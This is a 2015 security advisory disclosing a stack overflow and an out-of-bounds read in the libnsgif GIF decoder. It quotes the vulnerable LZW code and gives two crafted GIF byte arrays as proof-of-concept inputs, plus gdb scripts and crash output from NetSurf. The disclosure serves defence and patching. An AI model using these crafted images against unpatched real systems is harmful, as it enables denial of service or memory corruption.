Hans Jerry Illikainen

CVE-2015-7505 / CVE-2015-7506: libnsgif: stack overflow and out-of-bounds read

Dec 16, 2015

Overview

Libnsgif[1] is a decoding library for GIF images. It is primarily developed and used as part of the NetSurf project.

As of version 0.1.2, libnsgif is vulnerable to a stack overflow (CVE-2015-7505) and an out-of-bounds read (CVE-2015-7506) due to the way LZW-compressed GIF data is processed.

Details

src/libnsgif.c #80..133:

/*    Maximum LZW bits available
*/
#define GIF_MAX_LZW 12
[...]
static int table[2][(1 << GIF_MAX_LZW)];
static unsigned char stack[(1 << GIF_MAX_LZW) * 2];

src/libnsgif.c #423..628:

static gif_result gif_initialise_frame(gif_animation *gif) {
[...]
    if (gif_data[0] > GIF_MAX_LZW)
        return GIF_DATA_ERROR;
[...]
}

src/libnsgif.c #751..1053:

gif_result gif_decode_frame(gif_animation *gif, unsigned int frame) {
[...]
        /*    Initialise the LZW decoding
        */
        set_code_size = gif_data[0];
[...]
        code_size = set_code_size + 1;
        clear_code = (1 << set_code_size);
        end_code = clear_code + 1;
        max_code_size = clear_code << 1;
        max_code = clear_code + 2;
[...]
}

src/libnsgif.c #1145..1169:

void gif_init_LZW(gif_animation *gif) {
[...]
    *stack_pointer++ =firstcode;
}

src/libnsgif.c #1172..1237:

static bool gif_next_LZW(gif_animation *gif) {
[...]
    code = gif_next_code(gif, code_size);
[...]
    incode = code;
    if (code >= max_code) {
        *stack_pointer++ = firstcode;
        code = oldcode;
    }

    /* The following loop is the most important in the GIF decoding cycle as every
     * single pixel passes through it.
     *
     * Note: our stack is always big enough to hold a complete decompressed chunk. */
    while (code >= clear_code) {
        *stack_pointer++ = table[1][code];
        new_code = table[0][code];
        if (new_code < clear_code) {
            code = new_code;
            break;
        }
        *stack_pointer++ = table[1][new_code];
        code = table[0][new_code];
        if (code == new_code) {
              gif->current_error = GIF_FRAME_DATA_ERROR;
            return false;
        }
    }

    *stack_pointer++ = firstcode = table[1][code];
[...]
    oldcode = incode;
[...]
}

CVE-2015-7505

Since gif_next_LZW() writes onto the stack so long as code is at least clear_code, an overflow may eventually occur while processing a maliciously crafted image.

Using NetSurf as an example:

~/netsurf-all-3.3/netsurf$ gdb -x stack.py --args ./nsgtk stack.gif
[...]
stack overflow: ptr: 0x968903, end of stack: 0x968900 (+3)
stack overflow: ptr: 0x968904, end of stack: 0x968900 (+4)
stack overflow: ptr: 0x968905, end of stack: 0x968900 (+5)
stack overflow: ptr: 0xf0000968906, end of stack: 0x968900 (+16492674416646)

Program received signal SIGSEGV, Segmentation fault.
0x000000000051a890 in gif_next_LZW (gif=0xbccc00) at src/libnsgif.c:1210
1210                    *stack_pointer++ = table[1][code];
(gdb)

stack.py:

class Breakpoint(gdb.Breakpoint):
    def stop(self):
        stack_pointer = get_hex("stack_pointer")
        stack = get_hex("&stack")
        stack_size = get_hex("sizeof stack / sizeof *stack")
        stack_end = stack + stack_size

        table_size = get_hex("sizeof table / sizeof **table / 2")
        code = get_hex("code")

        if stack_pointer > stack_end:
            print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
                  (stack_pointer, stack_end, stack_pointer - stack_end))
        if code >= table_size:
            print("out-of-bounds read: code: %d (+%d)" %
                  (code, code - table_size + 1))
        return False

def get_hex(arg):
    res = gdb.execute("print/x %s" % arg, to_string=True)
    x = res.split(" ")[-1].strip()
    return int(x, 16)

Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")

gdb.execute("run")

stack.gif:

unsigned char stack[] = {
    /* GIF87a */
    0x47, 0x49, 0x46, 0x38, 0x37, 0x61,

    /* gif_initialise() */
    0x04, 0x00,     /* gif->width */
    0x04, 0x33,     /* gif->height */
    0x00,           /* gif->global_colours */
    0x00,           /* gif->background_index */
    0x00,           /* gif->aspect_ratio */

    /* gif_initialise_frame() */
    0x2c,           /* GIF_IMAGE_SEPARATOR */
    0x00, 0x00,     /* offset_x */
    0x00, 0x00,     /* offset_y */
    0x1b, 0x00,     /* width */
    0x04, 0x00,     /* height */
    0x00,           /* flags */
    0x04,           /* code size */
    0x0d,           /* block_size */

    /* image data */
    0x10, 0xcb,
    0x41, 0xf3,
    0xf3, 0xf3,
    0xf3, 0xf3,
    0xf3, 0xf3,
    0xf3, 0xf3,
    0xf3,

    /* end of image data */
    0x00,

    /* end of .gif */
    0x3b
};

CVE-2015-7506

If set_code_size is 0xc, clear_code is assigned a value of 4096. Since the while-loop in gif_next_LZW() executes so long as code >= clear_code, an out-of-bounds read might occur due to code being used to dereference table (2d array * 4096). A boundary check exist in that if code >= max_code, it’s assigned the value of oldcode – however, the result may still exceed max_code due to the bookkeeping of the original value:

src/libnsgif.c #1172..1237:

static bool gif_next_LZW(gif_animation *gif) {
[...]
    incode = code;
    if (code >= max_code) {
        *stack_pointer++ = firstcode;
        code = oldcode;
    }
[...]
    oldcode = incode;
[...]
}

Again, using NetSurf as an example:

~/netsurf-all-3.3/netsurf$ gdb -x oob.py --args ./nsgtk oob.gif
[...]
out-of-bounds read: code: 6670 (+2575)
out-of-bounds read: code: 7999 (+3904)

oob.py:

class Breakpoint(gdb.Breakpoint):
    def stop(self):
        stack_pointer = get_hex("stack_pointer")
        stack = get_hex("&stack")
        stack_size = get_hex("sizeof stack / sizeof *stack")
        stack_end = stack + stack_size

        table_size = get_hex("sizeof table / sizeof **table / 2")
        code = get_hex("code")

        if stack_pointer > stack_end:
            print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
                  (stack_pointer, stack_end, stack_pointer - stack_end))
        if code >= table_size:
            print("out-of-bounds read: code: %d (+%d)" %
                  (code, code - table_size + 1))
        return False

def get_hex(arg):
    res = gdb.execute("print/x %s" % arg, to_string=True)
    x = res.split(" ")[-1].strip()
    return int(x, 16)

Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")

gdb.execute("run")

oob.gif:

unsigned char oob[] = {
    /* GIF87a */
    0x47, 0x49, 0x46, 0x38, 0x37, 0x61,

    /* gif_initialise() */
    0x04, 0x00,     /* gif->width */
    0x04, 0x33,     /* gif->height */
    0x00,           /* gif->global_colours */
    0x00,           /* gif->background_index */
    0x00,           /* gif->aspect_ratio */

    /* gif_initialise_frame() */
    0x2c,           /* GIF_IMAGE_SEPARATOR */
    0x00, 0x00,     /* offset_x */
    0x00, 0x00,     /* offset_y */
    0x1b, 0x00,     /* width */
    0x04, 0x00,     /* height */
    0x00,           /* flags */
    0x0c,           /* code size */
    0x0d,           /* block_size */

    /* image data */
    0x10, 0xcb,
    0x41, 0xf3,
    0xf3, 0xf3,
    0xf3, 0xf3,
    0xf3, 0xf3,
    0xf3, 0xf3,
    0xf3,

    /* end of image data */
    0x00,

    /* end of .gif */
    0x3b
};

Solution

Both vulnerabilities are fixed in git HEAD[2].

References

  1. http://www.netsurf-browser.org/projects/libnsgif/
  2. http://source.netsurf-browser.org/libnsgif.git/